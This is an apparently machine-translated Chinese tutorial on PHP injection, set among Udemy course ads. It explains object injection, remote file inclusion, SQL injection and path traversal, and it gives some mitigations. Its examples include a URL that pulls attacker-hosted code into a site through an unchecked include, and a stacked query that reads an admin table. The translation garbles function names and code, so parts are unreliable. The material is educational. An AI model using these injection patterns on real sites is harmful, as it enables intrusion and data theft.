phpclasstutorialPHP注入或PHP对象注射是一种应用级漏洞,允许攻击者执行各种恶意攻击,如SQL注入,应用程序拒绝,基于上下文的代码注入和路径遍历。当在传递给未定义()PHP函数之前未正确消毒时,当用户提供的输入不会正确消毒时,通常发生该漏洞(采用单个序列化变量并将其转换为PHP值)。PHP包含对象序列化功能,允许攻击者将序列化字符串传递给易受攻击的未定义()调用。这导致任意PHP对象注入应用范围。序列化字符串是创建可以存储的值的表示的字符串。

要完全利用PHP对象注入漏洞,需要满足两个条件:

1)应用程序应具有一个类实现PHP魔术方法(如_destruct,_construct,_set或_wakeup),可用于执行不同的恶意攻击。

2)应在调用函数未识别()时声明在攻击期间使用的所有类别,否则应支持对象自动加载。

通过在Udemy.com上获取课程了解PHP编程

PHP代码注射:

当代码从外部源直接注入到脚本或程序中,以便随时执行时,这个过程称为代码注入。下面的例子将帮助您更好地理解PHP代码注入漏洞:

.. headerhtml ..<?PHP.包括(美元页面);? >.. footerhtml ..

页眉和页脚不包含任何PHP代码。它只包含HTML代码,可能看起来像一个大错误。攻击者可以选择他想要包括的任何内容,因为从未检查变量“$ PAGE”。那么,如何利用上面的代码?

利用的例子:

攻击者可以通过在另一个服务器上创建txt文件来包含上面例子中的txt文件。这个“txt”文件可能包含将在被利用主机上执行的PHP代码。

<?PHP.phpinfo();? >

假设漏洞代码的位置是“http://domain1/index.php”,而“txt”文件的位置是“http://domain3/vulcode.txt”,攻击者可以在他的浏览器中编写如下的一行代码:

http://domain1/index.php?page = http://domain3/vulcode.txt

最后' phpinfo() '命令将在PHP include所在的页眉和页脚中执行。

函数'include()'从括号()中定义的另一个文件接收数据。让我们假设上面提到的URL粘贴在浏览器中。“包含”函数定义包含'http://domain3/vulcode.txt'的$ page变量,因此让我们用这个字符串替换$ page的所有变量:

... HTML标题......<?PHP.包括('http://domain3/vulcode.txt');? >…html页脚……

现在,include函数将从url中获取代码,并将其放在调用它的地方。

... HTML标题......<?PHP.phpinfo();? >... HTML页脚......

这将由服务器处理。在此,将显示标题,并在此之后执行phpinfo()。最后,将显示页脚。

通过在Udemy.com上的在线课程从头开始学习PHP编程

可能导致问题:

这完全取决于攻击者,因为他可以制造多个问题。攻击者可以创建恶意代码,可导致以下问题:

PHP SQL注射:

PHP SQL注入是用于attac的代码注入技术K.可以将恶意语句的数据驱动应用程序插入到输入字段中以进行执行。当程序员未仔细检查用户输入的输入变量时,会发生此问题。

例子:

......$ id = $ _GET [" id "];$ res = mysql_query(“从艺术中选择*,其中id = $ id;”);......

利用:

page.php吗?SELECT * FROM admin . id=0

这里没有仔细检查变量$id,将在SQL查询中进行处理。服务器最终将获得:

选择*来自id id = 0的艺术SELECT * FROM admin;

当时可变$ ID预计将是一个数字,因此可以检查其作为预防措施。一般方法是从变量中删除所有非法内容,而不是检查和显示错误消息。以下是您可以采取的两种方法:

... $ ID = INTVAL($ _获得[“ID”);......

上述代码包含Intval.用于获取整数值的函数。该代码将从变量中删除任何可能的非法内容。

......$ id = $ _GET [" id "];if(!is_numeric($ id)){...处理错误......}别的{... 继续 ...}......

上面的代码将检查“if”条件,如果$id变量包含除数字以外的任何内容,它将处理错误。但是,如果它包含数值,执行将继续。

路径遍历:

路径遍历访问放置在web根目录之外的文件和目录。攻击者通过浏览应用程序来搜索存储在web服务器上的文件的绝对链接。通过操作由“。。斜杠(../)”序列引用的变量,可以访问存储在文件系统上的任意文件和目录。攻击者通常使用“…/”序列向上移动到根目录。

例子:

http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php.

您可以包含位于外部网站上的脚本和文件。如上面的示例所示,文件“恶意码.php.“将包括在内。

新的PHP吗?通过参加Udemy.com的在线课程来学习基本知识

结论:

PHP注入是一个应用程序级别的漏洞,它为攻击者打开了一扇门,从而允许他执行恶意攻击,如SQL注入和代码注入。攻击者可以创建不同类型的损害,可以在瞬间破坏用户的隐私。因此,需要采取必要的预防措施。这肯定会帮助你保护你的隐私,并阻止一些来自黑客的恶意攻击。

PHP的顶级课程

面向对象的PHP和MVC
布拉德Traversy
4.7 (3746)
PHP单位测试PHPUNIT
戴夫霍灵沃斯
4.7 (1,062)
畅销书
PHP登录和注册系统 - 电子邮件确认激活
Edwin Diaz,编码教师解决方案
4.5 (790)
PHP为初学者2021第2部分:PDO,MYSQL,PHPMYADMIN
帕特里克博士
4.9 (244)
收视率最高
PHP为初学者 - 成为PHP大师 - CMS项目
Edwin Diaz,编码教师解决方案
4.4 (19390)
畅销书
PHP与Laravel初学者-成为Laravel大师
Edwin Diaz,编码教师解决方案
4.4 (9,892)
畅销书
面向对象编程:面向初学者+项目
Edwin Diaz,编码教师解决方案
4.6 (3258)
PHP初学者:如何建立一个电子商务商店
Edwin Diaz,编码教师解决方案
4.8 (1567)
畅销书

更多的PHP课程

PHP学生还学习

让你的团队。领导行业。

通过Udemy为Business获取组织的在线课程和数字学习工具库的订阅。

请求一个演示